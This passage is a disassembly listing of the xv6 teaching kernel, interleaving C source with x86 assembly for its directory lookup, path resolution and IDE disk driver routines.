log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ ip->size = off; 80101b58: 8b 45 d8 mov -0x28(%ebp),%eax iupdate(ip); 80101b5b: 83 ec 0c sub $0xc,%esp log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ ip->size = off; 80101b5e: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b61: 50 push %eax 80101b62: e8 59 fa ff ff call 801015c0 <iupdate> 80101b67: 83 c4 10 add $0x10,%esp 80101b6a: eb b6 jmp 80101b22 <writei+0xd2> 80101b6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; 80101b70: b8 ff ff ff ff mov $0xffffffff,%eax 80101b75: eb ae jmp 80101b25 <writei+0xd5> 80101b77: 89 f6 mov %esi,%esi 80101b79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b80 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101b80: 55 push %ebp 80101b81: 89 e5 mov %esp,%ebp 80101b83: 83 ec 0c sub $0xc,%esp return strncmp(s, t, DIRSIZ); 80101b86: 6a 0e push $0xe 80101b88: ff 75 0c pushl 0xc(%ebp) 80101b8b: ff 75 08 pushl 0x8(%ebp) 80101b8e: e8 dd 29 00 00 call 80104570 <strncmp> } 80101b93: c9 leave 80101b94: c3 ret 80101b95: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ba0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101ba0: 55 push %ebp 80101ba1: 89 e5 mov %esp,%ebp 80101ba3: 57 push %edi 80101ba4: 56 push %esi 80101ba5: 53 push %ebx 80101ba6: 83 ec 1c sub $0x1c,%esp 80101ba9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bac: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101bb1: 0f 85 80 00 00 00 jne 80101c37 <dirlookup+0x97> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101bb7: 8b 53 58 mov 0x58(%ebx),%edx 80101bba: 31 ff xor %edi,%edi 80101bbc: 8d 75 d8 lea -0x28(%ebp),%esi 80101bbf: 85 d2 test %edx,%edx 80101bc1: 75 0d jne 80101bd0 <dirlookup+0x30> 80101bc3: eb 5b jmp 80101c20 <dirlookup+0x80> 80101bc5: 8d 76 00 lea 0x0(%esi),%esi 80101bc8: 83 c7 10 add $0x10,%edi 80101bcb: 39 7b 58 cmp %edi,0x58(%ebx) 80101bce: 76 50 jbe 80101c20 <dirlookup+0x80> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101bd0: 6a 10 push $0x10 80101bd2: 57 push %edi 80101bd3: 56 push %esi 80101bd4: 53 push %ebx 80101bd5: e8 76 fd ff ff call 80101950 <readi> 80101bda: 83 c4 10 add $0x10,%esp 80101bdd: 83 f8 10 cmp $0x10,%eax 80101be0: 75 48 jne 80101c2a <dirlookup+0x8a> panic("dirlookup read"); if(de.inum == 0) 80101be2: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101be7: 74 df je 80101bc8 <dirlookup+0x28> // Directories int namecmp(const char *s, const char *t) { return strncmp(s, t, DIRSIZ); 80101be9: 8d 45 da lea -0x26(%ebp),%eax 80101bec: 83 ec 04 sub $0x4,%esp 80101bef: 6a 0e push $0xe 80101bf1: 50 push %eax 80101bf2: ff 75 0c pushl 0xc(%ebp) 80101bf5: e8 76 29 00 00 call 80104570 <strncmp> for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlookup read"); if(de.inum == 0) continue; if(namecmp(name, de.name) == 0){ 80101bfa: 83 c4 10 add $0x10,%esp 80101bfd: 85 c0 test %eax,%eax 80101bff: 75 c7 jne 80101bc8 <dirlookup+0x28> // entry matches path element if(poff) 80101c01: 8b 45 10 mov 0x10(%ebp),%eax 80101c04: 85 c0 test %eax,%eax 80101c06: 74 05 je 80101c0d <dirlookup+0x6d> *poff = off; 80101c08: 8b 45 10 mov 0x10(%ebp),%eax 80101c0b: 89 38 mov %edi,(%eax) inum = de.inum; return iget(dp->dev, inum); 80101c0d: 0f b7 55 d8 movzwl -0x28(%ebp),%edx 80101c11: 8b 03 mov (%ebx),%eax 80101c13: e8 f8 f5 ff ff call 80101210 <iget> } } return 0; } 80101c18: 8d 65 f4 lea -0xc(%ebp),%esp 80101c1b: 5b pop %ebx 80101c1c: 5e pop %esi 80101c1d: 5f pop %edi 80101c1e: 5d pop %ebp 80101c1f: c3 ret 80101c20: 8d 65 f4 lea -0xc(%ebp),%esp inum = de.inum; return iget(dp->dev, inum); } } return 0; 80101c23: 31 c0 xor %eax,%eax } 80101c25: 5b pop %ebx 80101c26: 5e pop %esi 80101c27: 5f pop %edi 80101c28: 5d pop %ebp 80101c29: c3 ret if(dp->type != T_DIR) panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlookup read"); 80101c2a: 83 ec 0c sub $0xc,%esp 80101c2d: 68 79 70 10 80 push $0x80107079 80101c32: e8 39 e7 ff ff call 80100370 <panic> { uint off, inum; struct dirent de; if(dp->type != T_DIR) panic("dirlookup not DIR"); 80101c37: 83 ec 0c sub $0xc,%esp 80101c3a: 68 67 70 10 80 push $0x80107067 80101c3f: e8 2c e7 ff ff call 80100370 <panic> 80101c44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101c4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101c50 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c50: 55 push %ebp 80101c51: 89 e5 mov %esp,%ebp 80101c53: 57 push %edi 80101c54: 56 push %esi 80101c55: 53 push %ebx 80101c56: 89 cf mov %ecx,%edi 80101c58: 89 c3 mov %eax,%ebx 80101c5a: 83 ec 1c sub $0x1c,%esp struct inode *ip, *next; if(*path == '/') 80101c5d: 80 38 2f cmpb $0x2f,(%eax) // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c60: 89 55 e0 mov %edx,-0x20(%ebp) struct inode *ip, *next; if(*path == '/') 80101c63: 0f 84 53 01 00 00 je 80101dbc <namex+0x16c> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c69: e8 12 1b 00 00 call 80103780 <myproc> // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { acquire(&icache.lock); 80101c6e: 83 ec 0c sub $0xc,%esp struct inode *ip, *next; if(*path == '/') ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c71: 8b 70 68 mov 0x68(%eax),%esi // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { acquire(&icache.lock); 80101c74: 68 00 0a 11 80 push $0x80110a00 80101c79: e8 c2 26 00 00 call 80104340 <acquire> ip->ref++; 80101c7e: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101c82: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp) 80101c89: e8 62 27 00 00 call 801043f0 <release> 80101c8e: 83 c4 10 add $0x10,%esp 80101c91: eb 08 jmp 80101c9b <namex+0x4b> 80101c93: 90 nop 80101c94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { char *s; int len; while(*path == '/') path++; 80101c98: 83 c3 01 add $0x1,%ebx skipelem(char *path, char *name) { char *s; int len; while(*path == '/') 80101c9b: 0f b6 03 movzbl (%ebx),%eax 80101c9e: 3c 2f cmp $0x2f,%al 80101ca0: 74 f6 je 80101c98 <namex+0x48> path++; if(*path == 0) 80101ca2: 84 c0 test %al,%al 80101ca4: 0f 84 e3 00 00 00 je 80101d8d <namex+0x13d> return 0; s = path; while(*path != '/' && *path != 0) 80101caa: 0f b6 03 movzbl (%ebx),%eax 80101cad: 89 da mov %ebx,%edx 80101caf: 84 c0 test %al,%al 80101cb1: 0f 84 ac 00 00 00 je 80101d63 <namex+0x113> 80101cb7: 3c 2f cmp $0x2f,%al 80101cb9: 75 09 jne 80101cc4 <namex+0x74> 80101cbb: e9 a3 00 00 00 jmp 80101d63 <namex+0x113> 80101cc0: 84 c0 test %al,%al 80101cc2: 74 0a je 80101cce <namex+0x7e> path++; 80101cc4: 83 c2 01 add $0x1,%edx while(*path == '/') path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) 80101cc7: 0f b6 02 movzbl (%edx),%eax 80101cca: 3c 2f cmp $0x2f,%al 80101ccc: 75 f2 jne 80101cc0 <namex+0x70> 80101cce: 89 d1 mov %edx,%ecx 80101cd0: 29 d9 sub %ebx,%ecx path++; len = path - s; if(len >= DIRSIZ) 80101cd2: 83 f9 0d cmp $0xd,%ecx 80101cd5: 0f 8e 8d 00 00 00 jle 80101d68 <namex+0x118> memmove(name, s, DIRSIZ); 80101cdb: 83 ec 04 sub $0x4,%esp 80101cde: 89 55 e4 mov %edx,-0x1c(%ebp) 80101ce1: 6a 0e push $0xe 80101ce3: 53 push %ebx 80101ce4: 57 push %edi 80101ce5: e8 06 28 00 00 call 801044f0 <memmove> path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) path++; 80101cea: 8b 55 e4 mov -0x1c(%ebp),%edx len = path - s; if(len >= DIRSIZ) memmove(name, s, DIRSIZ); 80101ced: 83 c4 10 add $0x10,%esp path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) path++; 80101cf0: 89 d3 mov %edx,%ebx memmove(name, s, DIRSIZ); else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 80101cf2: 80 3a 2f cmpb $0x2f,(%edx) 80101cf5: 75 11 jne 80101d08 <namex+0xb8> 80101cf7: 89 f6 mov %esi,%esi 80101cf9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi path++; 80101d00: 83 c3 01 add $0x1,%ebx memmove(name, s, DIRSIZ); else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 80101d03: 80 3b 2f cmpb $0x2f,(%ebx) 80101d06: 74 f8 je 80101d00 <namex+0xb0> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d08: 83 ec 0c sub $0xc,%esp 80101d0b: 56 push %esi 80101d0c: e8 5f f9 ff ff call 80101670 <ilock> if(ip->type != T_DIR){ 80101d11: 83 c4 10 add $0x10,%esp 80101d14: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d19: 0f 85 7f 00 00 00 jne 80101d9e <namex+0x14e> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d1f: 8b 55 e0 mov -0x20(%ebp),%edx 80101d22: 85 d2 test %edx,%edx 80101d24: 74 09 je 80101d2f <namex+0xdf> 80101d26: 80 3b 00 cmpb $0x0,(%ebx) 80101d29: 0f 84 a3 00 00 00 je 80101dd2 <namex+0x182> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d2f: 83 ec 04 sub $0x4,%esp 80101d32: 6a 00 push $0x0 80101d34: 57 push %edi 80101d35: 56 push %esi 80101d36: e8 65 fe ff ff call 80101ba0 <dirlookup> 80101d3b: 83 c4 10 add $0x10,%esp 80101d3e: 85 c0 test %eax,%eax 80101d40: 74 5c je 80101d9e <namex+0x14e> // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); 80101d42: 83 ec 0c sub $0xc,%esp 80101d45: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d48: 56 push %esi 80101d49: e8 02 fa ff ff call 80101750 <iunlock> iput(ip); 80101d4e: 89 34 24 mov %esi,(%esp) 80101d51: e8 4a fa ff ff call 801017a0 <iput> 80101d56: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d59: 83 c4 10 add $0x10,%esp 80101d5c: 89 c6 mov %eax,%esi 80101d5e: e9 38 ff ff ff jmp 80101c9b <namex+0x4b> while(*path == '/') path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) 80101d63: 31 c9 xor %ecx,%ecx 80101d65: 8d 76 00 lea 0x0(%esi),%esi path++; len = path - s; if(len >= DIRSIZ) memmove(name, s, DIRSIZ); else { memmove(name, s, len); 80101d68: 83 ec 04 sub $0x4,%esp 80101d6b: 89 55 dc mov %edx,-0x24(%ebp) 80101d6e: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101d71: 51 push %ecx 80101d72: 53 push %ebx 80101d73: 57 push %edi 80101d74: e8 77 27 00 00 call 801044f0 <memmove> name[len] = 0; 80101d79: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101d7c: 8b 55 dc mov -0x24(%ebp),%edx 80101d7f: 83 c4 10 add $0x10,%esp 80101d82: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101d86: 89 d3 mov %edx,%ebx 80101d88: e9 65 ff ff ff jmp 80101cf2 <namex+0xa2> return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80101d8d: 8b 45 e0 mov -0x20(%ebp),%eax 80101d90: 85 c0 test %eax,%eax 80101d92: 75 54 jne 80101de8 <namex+0x198> 80101d94: 89 f0 mov %esi,%eax iput(ip); return 0; } return ip; } 80101d96: 8d 65 f4 lea -0xc(%ebp),%esp 80101d99: 5b pop %ebx 80101d9a: 5e pop %esi 80101d9b: 5f pop %edi 80101d9c: 5d pop %ebp 80101d9d: c3 ret // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); 80101d9e: 83 ec 0c sub $0xc,%esp 80101da1: 56 push %esi 80101da2: e8 a9 f9 ff ff call 80101750 <iunlock> iput(ip); 80101da7: 89 34 24 mov %esi,(%esp) 80101daa: e8 f1 f9 ff ff call 801017a0 <iput> iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ iunlockput(ip); return 0; 80101daf: 83 c4 10 add $0x10,%esp if(nameiparent){ iput(ip); return 0; } return ip; } 80101db2: 8d 65 f4 lea -0xc(%ebp),%esp iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ iunlockput(ip); return 0; 80101db5: 31 c0 xor %eax,%eax if(nameiparent){ iput(ip); return 0; } return ip; } 80101db7: 5b pop %ebx 80101db8: 5e pop %esi 80101db9: 5f pop %edi 80101dba: 5d pop %ebp 80101dbb: c3 ret namex(char *path, int nameiparent, char *name) { struct inode *ip, *next; if(*path == '/') ip = iget(ROOTDEV, ROOTINO); 80101dbc: ba 01 00 00 00 mov $0x1,%edx 80101dc1: b8 01 00 00 00 mov $0x1,%eax 80101dc6: e8 45 f4 ff ff call 80101210 <iget> 80101dcb: 89 c6 mov %eax,%esi 80101dcd: e9 c9 fe ff ff jmp 80101c9b <namex+0x4b> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ // Stop one level early. iunlock(ip); 80101dd2: 83 ec 0c sub $0xc,%esp 80101dd5: 56 push %esi 80101dd6: e8 75 f9 ff ff call 80101750 <iunlock> return ip; 80101ddb: 83 c4 10 add $0x10,%esp if(nameiparent){ iput(ip); return 0; } return ip; } 80101dde: 8d 65 f4 lea -0xc(%ebp),%esp return 0; } if(nameiparent && *path == '\0'){ // Stop one level early. iunlock(ip); return ip; 80101de1: 89 f0 mov %esi,%eax if(nameiparent){ iput(ip); return 0; } return ip; } 80101de3: 5b pop %ebx 80101de4: 5e pop %esi 80101de5: 5f pop %edi 80101de6: 5d pop %ebp 80101de7: c3 ret } iunlockput(ip); ip = next; } if(nameiparent){ iput(ip); 80101de8: 83 ec 0c sub $0xc,%esp 80101deb: 56 push %esi 80101dec: e8 af f9 ff ff call 801017a0 <iput> return 0; 80101df1: 83 c4 10 add $0x10,%esp 80101df4: 31 c0 xor %eax,%eax 80101df6: eb 9e jmp 80101d96 <namex+0x146> 80101df8: 90 nop 80101df9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101e00 <dirlink>: } // Write a new directory entry (name, inum) into the directory dp. int dirlink(struct inode *dp, char *name, uint inum) { 80101e00: 55 push %ebp 80101e01: 89 e5 mov %esp,%ebp 80101e03: 57 push %edi 80101e04: 56 push %esi 80101e05: 53 push %ebx 80101e06: 83 ec 20 sub $0x20,%esp 80101e09: 8b 5d 08 mov 0x8(%ebp),%ebx int off; struct dirent de; struct inode *ip; // Check that name is not present. if((ip = dirlookup(dp, name, 0)) != 0){ 80101e0c: 6a 00 push $0x0 80101e0e: ff 75 0c pushl 0xc(%ebp) 80101e11: 53 push %ebx 80101e12: e8 89 fd ff ff call 80101ba0 <dirlookup> 80101e17: 83 c4 10 add $0x10,%esp 80101e1a: 85 c0 test %eax,%eax 80101e1c: 75 67 jne 80101e85 <dirlink+0x85> iput(ip); return -1; } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ 80101e1e: 8b 7b 58 mov 0x58(%ebx),%edi 80101e21: 8d 75 d8 lea -0x28(%ebp),%esi 80101e24: 85 ff test %edi,%edi 80101e26: 74 29 je 80101e51 <dirlink+0x51> 80101e28: 31 ff xor %edi,%edi 80101e2a: 8d 75 d8 lea -0x28(%ebp),%esi 80101e2d: eb 09 jmp 80101e38 <dirlink+0x38> 80101e2f: 90 nop 80101e30: 83 c7 10 add $0x10,%edi 80101e33: 39 7b 58 cmp %edi,0x58(%ebx) 80101e36: 76 19 jbe 80101e51 <dirlink+0x51> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e38: 6a 10 push $0x10 80101e3a: 57 push %edi 80101e3b: 56 push %esi 80101e3c: 53 push %ebx 80101e3d: e8 0e fb ff ff call 80101950 <readi> 80101e42: 83 c4 10 add $0x10,%esp 80101e45: 83 f8 10 cmp $0x10,%eax 80101e48: 75 4e jne 80101e98 <dirlink+0x98> panic("dirlink read"); if(de.inum == 0) 80101e4a: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e4f: 75 df jne 80101e30 <dirlink+0x30> break; } strncpy(de.name, name, DIRSIZ); 80101e51: 8d 45 da lea -0x26(%ebp),%eax 80101e54: 83 ec 04 sub $0x4,%esp 80101e57: 6a 0e push $0xe 80101e59: ff 75 0c pushl 0xc(%ebp) 80101e5c: 50 push %eax 80101e5d: e8 7e 27 00 00 call 801045e0 <strncpy> de.inum = inum; 80101e62: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e65: 6a 10 push $0x10 80101e67: 57 push %edi 80101e68: 56 push %esi 80101e69: 53 push %ebx if(de.inum == 0) break; } strncpy(de.name, name, DIRSIZ); de.inum = inum; 80101e6a: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e6e: e8 dd fb ff ff call 80101a50 <writei> 80101e73: 83 c4 20 add $0x20,%esp 80101e76: 83 f8 10 cmp $0x10,%eax 80101e79: 75 2a jne 80101ea5 <dirlink+0xa5> panic("dirlink"); return 0; 80101e7b: 31 c0 xor %eax,%eax } 80101e7d: 8d 65 f4 lea -0xc(%ebp),%esp 80101e80: 5b pop %ebx 80101e81: 5e pop %esi 80101e82: 5f pop %edi 80101e83: 5d pop %ebp 80101e84: c3 ret struct dirent de; struct inode *ip; // Check that name is not present. if((ip = dirlookup(dp, name, 0)) != 0){ iput(ip); 80101e85: 83 ec 0c sub $0xc,%esp 80101e88: 50 push %eax 80101e89: e8 12 f9 ff ff call 801017a0 <iput> return -1; 80101e8e: 83 c4 10 add $0x10,%esp 80101e91: b8 ff ff ff ff mov $0xffffffff,%eax 80101e96: eb e5 jmp 80101e7d <dirlink+0x7d> } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink read"); 80101e98: 83 ec 0c sub $0xc,%esp 80101e9b: 68 88 70 10 80 push $0x80107088 80101ea0: e8 cb e4 ff ff call 80100370 <panic> } strncpy(de.name, name, DIRSIZ); de.inum = inum; if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink"); 80101ea5: 83 ec 0c sub $0xc,%esp 80101ea8: 68 a2 76 10 80 push $0x801076a2 80101ead: e8 be e4 ff ff call 80100370 <panic> 80101eb2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101eb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ec0 <namei>: return ip; } struct inode* namei(char *path) { 80101ec0: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101ec1: 31 d2 xor %edx,%edx return ip; } struct inode* namei(char *path) { 80101ec3: 89 e5 mov %esp,%ebp 80101ec5: 83 ec 18 sub $0x18,%esp char name[DIRSIZ]; return namex(path, 0, name); 80101ec8: 8b 45 08 mov 0x8(%ebp),%eax 80101ecb: 8d 4d ea lea -0x16(%ebp),%ecx 80101ece: e8 7d fd ff ff call 80101c50 <namex> } 80101ed3: c9 leave 80101ed4: c3 ret 80101ed5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ed9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ee0 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101ee0: 55 push %ebp return namex(path, 1, name); 80101ee1: ba 01 00 00 00 mov $0x1,%edx return namex(path, 0, name); } struct inode* nameiparent(char *path, char *name) { 80101ee6: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101ee8: 8b 4d 0c mov 0xc(%ebp),%ecx 80101eeb: 8b 45 08 mov 0x8(%ebp),%eax } 80101eee: 5d pop %ebp } struct inode* nameiparent(char *path, char *name) { return namex(path, 1, name); 80101eef: e9 5c fd ff ff jmp 80101c50 <namex> 80101ef4: 66 90 xchg %ax,%ax 80101ef6: 66 90 xchg %ax,%ax 80101ef8: 66 90 xchg %ax,%ax 80101efa: 66 90 xchg %ax,%ax 80101efc: 66 90 xchg %ax,%ax 80101efe: 66 90 xchg %ax,%ax 80101f00 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f00: 55 push %ebp if(b == 0) 80101f01: 85 c0 test %eax,%eax } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f03: 89 e5 mov %esp,%ebp 80101f05: 56 push %esi 80101f06: 53 push %ebx if(b == 0) 80101f07: 0f 84 ad 00 00 00 je 80101fba <idestart+0xba> panic("idestart"); if(b->blockno >= FSSIZE) 80101f0d: 8b 58 08 mov 0x8(%eax),%ebx 80101f10: 89 c1 mov %eax,%ecx 80101f12: 81 fb e7 03 00 00 cmp $0x3e7,%ebx 80101f18: 0f 87 8f 00 00 00 ja 80101fad <idestart+0xad> static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f1e: ba f7 01 00 00 mov $0x1f7,%edx 80101f23: 90 nop 80101f24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101f28: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f29: 83 e0 c0 and $0xffffffc0,%eax 80101f2c: 3c 40 cmp $0x40,%al 80101f2e: 75 f8 jne 80101f28 <idestart+0x28> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f30: 31 f6 xor %esi,%esi 80101f32: ba f6 03 00 00 mov $0x3f6,%edx 80101f37: 89 f0 mov %esi,%eax 80101f39: ee out %al,(%dx) 80101f3a: ba f2 01 00 00 mov $0x1f2,%edx 80101f3f: b8 01 00 00 00 mov $0x1,%eax 80101f44: ee out %al,(%dx) 80101f45: ba f3 01 00 00 mov $0x1f3,%edx 80101f4a: 89 d8 mov %ebx,%eax 80101f4c: ee out %al,(%dx) 80101f4d: 89 d8 mov %ebx,%eax 80101f4f: ba f4 01 00 00 mov $0x1f4,%edx 80101f54: c1 f8 08 sar $0x8,%eax 80101f57: ee out %al,(%dx) 80101f58: ba f5 01 00 00 mov $0x1f5,%edx 80101f5d: 89 f0 mov %esi,%eax 80101f5f: ee out %al,(%dx) 80101f60: 0f b6 41 04 movzbl 0x4(%ecx),%eax 80101f64: ba f6 01 00 00 mov $0x1f6,%edx 80101f69: 83 e0 01 and $0x1,%eax 80101f6c: c1 e0 04 shl $0x4,%eax 80101f6f: 83 c8 e0 or $0xffffffe0,%eax 80101f72: ee out %al,(%dx) outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); if(b->flags & B_DIRTY){ 80101f73: f6 01 04 testb $0x4,(%ecx) 80101f76: ba f7 01 00 00 mov $0x1f7,%edx 80101f7b: 75 13 jne 80101f90 <idestart+0x90> 80101f7d: b8 20 00 00 00 mov $0x20,%eax 80101f82: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101f83: 8d 65 f8 lea -0x8(%ebp),%esp 80101f86: 5b pop %ebx 80101f87: 5e pop %esi 80101f88: 5d pop %ebp 80101f89: c3 ret 80101f8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101f90: b8 30 00 00 00 mov $0x30,%eax 80101f95: ee out %al,(%dx) } static inline void outsl(int port, const void *addr, int cnt) { asm volatile("cld; rep outsl" : 80101f96: ba f0 01 00 00 mov $0x1f0,%edx outb(0x1f4, (sector >> 8) & 0xff); outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); if(b->flags & B_DIRTY){ outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); 80101f9b: 8d 71 5c lea 0x5c(%ecx),%esi 80101f9e: b9 80 00 00 00 mov $0x80,%ecx 80101fa3: fc cld 80101fa4: f3 6f rep outsl %ds:(%esi),(%dx) } else { outb(0x1f7, read_cmd); } } 80101fa6: 8d 65 f8 lea -0x8(%ebp),%esp 80101fa9: 5b pop %ebx 80101faa: 5e pop %esi 80101fab: 5d pop %ebp 80101fac: c3 ret idestart(struct buf *b) { if(b == 0) panic("idestart"); if(b->blockno >= FSSIZE) panic("incorrect blockno"); 80101fad: 83 ec 0c sub $0xc,%esp 80101fb0: 68 f4 70 10 80 push $0x801070f4 80101fb5: e8 b6 e3 ff ff call 80100370 <panic> // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { if(b == 0) panic("idestart"); 80101fba: 83 ec 0c sub $0xc,%esp 80101fbd: 68 eb 70 10 80 push $0x801070eb 80101fc2: e8 a9 e3 ff ff call 80100370 <panic> 80101fc7: 89 f6 mov %esi,%esi 80101fc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101fd0 <ideinit>: return 0; } void ideinit(void) { 80101fd0: 55 push %ebp 80101fd1: 89 e5 mov %esp,%ebp 80101fd3: 83 ec 10 sub $0x10,%esp int i; initlock(&idelock, "ide"); 80101fd6: 68 06 71 10 80 push $0x80107106 80101fdb: 68 80 a5 10 80 push $0x8010a580 80101fe0: e8 fb 21 00 00 call 801041e0 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 80101fe5: 58 pop %eax 80101fe6: a1 20 2d 11 80 mov 0x80112d20,%eax 80101feb: 5a pop %edx 80101fec: 83 e8 01 sub $0x1,%eax 80101fef: 50 push %eax 80101ff0: 6a 0e push $0xe 80101ff2: e8 a9 02 00 00 call 801022a0 <ioapicenable> 80101ff7: 83 c4 10 add $0x10,%esp static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101ffa: ba f7 01 00 00 mov $0x1f7,%edx 80101fff: 90 nop 80102000: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102001: 83 e0 c0 and $0xffffffc0,%eax 80102004: 3c 40 cmp $0x40,%al 80102006: 75 f8 jne 80102000 <ideinit+0x30> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102008: ba f6 01 00 00 mov $0x1f6,%edx 8010200d: b8 f0 ff ff ff mov $0xfffffff0,%eax 80102012: ee out %al,(%dx) 80102013: b9 e8 03 00 00 mov $0x3e8,%ecx static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102018: ba f7 01 00 00 mov $0x1f7,%edx 8010201d: eb 06 jmp 80102025 <ideinit+0x55> 8010201f: 90 nop ioapicenable(IRQ_IDE, ncpu - 1); idewait(0); // Check if disk 1 is present outb(0x1f6, 0xe0 | (1<<4)); for(i=0; i<1000; i++){ 80102020: 83 e9 01 sub $0x1,%ecx 80102023: 74 0f je 80102034 <ideinit+0x64> 80102025: ec in (%dx),%al if(inb(0x1f7) != 0){ 80102026: 84 c0 test %al,%al 80102028: 74 f6 je 80102020 